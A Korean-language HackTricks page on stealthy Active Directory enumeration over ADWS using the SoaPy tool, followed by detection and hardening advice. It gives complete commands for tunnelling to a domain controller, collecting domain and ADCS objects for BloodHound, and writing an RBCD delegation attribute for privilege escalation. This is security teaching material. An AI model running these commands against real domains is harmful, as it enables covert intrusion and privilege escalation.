Active Directory Web Services (ADWS) Enumeration & Stealth Collection
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
ADWS란 무엇인가?
Active Directory Web Services (ADWS)는 Windows Server 2008 R2 이후 모든 도메인 컨트롤러에서 기본적으로 활성화되어 있으며 TCP 9389에서 수신 대기합니다. 이름과는 달리, HTTP는 포함되지 않습니다. 대신, 이 서비스는 독점적인 .NET 프레이밍 프로토콜 스택을 통해 LDAP 스타일의 데이터를 노출합니다:
- MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
트래픽이 이러한 이진 SOAP 프레임 안에 캡슐화되어 있고 일반적이지 않은 포트를 통해 전송되기 때문에, ADWS를 통한 열거는 고전적인 LDAP/389 및 636 트래픽보다 검사, 필터링 또는 서명될 가능성이 훨씬 낮습니다. 운영자에게는 다음과 같은 의미가 있습니다:
- 더 은밀한 정찰 – 블루 팀은 종종 LDAP 쿼리에 집중합니다.
- SOCKS 프록시를 통해 9389/TCP를 터널링하여 **비 Windows 호스트 (Linux, macOS)**에서 수집할 수 있는 자유.
- LDAP를 통해 얻을 수 있는 동일한 데이터 (사용자, 그룹, ACL, 스키마 등)와 쓰기를 수행할 수 있는 능력 (예: RBCD를 위한
msDs-AllowedToActOnBehalfOfOtherIdentity
).
참고: ADWS는 많은 RSAT GUI/PowerShell 도구에서도 사용되므로 트래픽이 합법적인 관리 활동과 혼합될 수 있습니다.
SoaPy – 네이티브 Python 클라이언트
SoaPy는 순수 Python으로 ADWS 프로토콜 스택을 완전히 재구현한 것입니다. 이는 NBFX/NBFSE/NNS/NMF 프레임을 바이트 단위로 생성하여 .NET 런타임에 손대지 않고 Unix 유사 시스템에서 수집할 수 있게 합니다.
주요 기능
- SOCKS를 통한 프록시 지원 (C2 임플란트에서 유용).
- LDAP
-q '(objectClass=user)'
와 동일한 세밀한 검색 필터. - 선택적 쓰기 작업 (
--set
/--delete
). - BloodHound에 직접 수집하기 위한 BOFHound 출력 모드.
- 사람이 읽기 쉬운 경우를 위해 타임스탬프 /
userAccountControl
을 예쁘게 만드는--parse
플래그.
설치 (운영자 호스트)
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
Stealth AD Collection Workflow
다음 워크플로우는 ADWS를 통해 도메인 및 ADCS 객체를 열거하고, 이를 BloodHound JSON으로 변환한 후, 인증서 기반 공격 경로를 탐색하는 방법을 보여줍니다 – 모두 Linux에서 수행됩니다:
-
대상 네트워크에서 귀하의 박스로 9389/TCP 터널링 (예: Chisel, Meterpreter, SSH 동적 포트 포워드 등을 통해).
export HTTPS_PROXY=socks5://127.0.0.1:1080
을 내보내거나 SoaPy의--proxyHost/--proxyPort
를 사용하십시오. -
루트 도메인 객체 수집:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
- Configuration NC에서 ADCS 관련 객체 수집:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
- BloodHound로 변환:
bofhound -i data --zip # produces BloodHound.zip
- ZIP 파일을 BloodHound GUI에 업로드하고
MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c
와 같은 cypher 쿼리를 실행하여 인증서 상승 경로(ESC1, ESC8 등)를 드러냅니다.
msDs-AllowedToActOnBehalfOfOtherIdentity
(RBCD) 작성
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
s4u2proxy
/Rubeus /getticket
를 결합하여 전체 리소스 기반 제약 위임 체인을 만듭니다.
탐지 및 강화
상세한 ADDS 로깅
도메인 컨트롤러에서 ADWS(및 LDAP)에서 발생하는 비용이 많이 드는 / 비효율적인 검색을 표면화하기 위해 다음 레지스트리 키를 활성화합니다:
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD
이벤트는 Directory-Service 아래에 전체 LDAP 필터와 함께 나타나며, 쿼리가 ADWS를 통해 도착했을 때도 마찬가지입니다.
SACL 카나리 객체
- 더미 객체(예: 비활성 사용자
CanaryUser
)를 생성합니다. - Everyone 주체에 대한 Audit ACE를 추가하고 ReadProperty에서 감사합니다.
- 공격자가
(servicePrincipalName=*)
,(objectClass=user)
등을 수행할 때마다 DC는 실제 사용자 SID를 포함하는 Event 4662를 발생시킵니다. 이는 요청이 프록시되거나 ADWS에서 시작되었을 때도 마찬가지입니다.
Elastic 사전 구축 규칙 예:
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"
Tooling Summary
Purpose | Tool | Notes |
---|---|---|
ADWS enumeration | SoaPy | Python, SOCKS, read/write |
BloodHound ingest | BOFHound | SoaPy/ldapsearch 로그 변환 |
Cert compromise | Certipy | 동일한 SOCKS를 통해 프록시 가능 |
References
- SpecterOps – Make Sure to Use SOAP(y) – An Operators Guide to Stealthy AD Collection Using ADWS
- SoaPy GitHub
- BOFHound GitHub
- Microsoft – MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.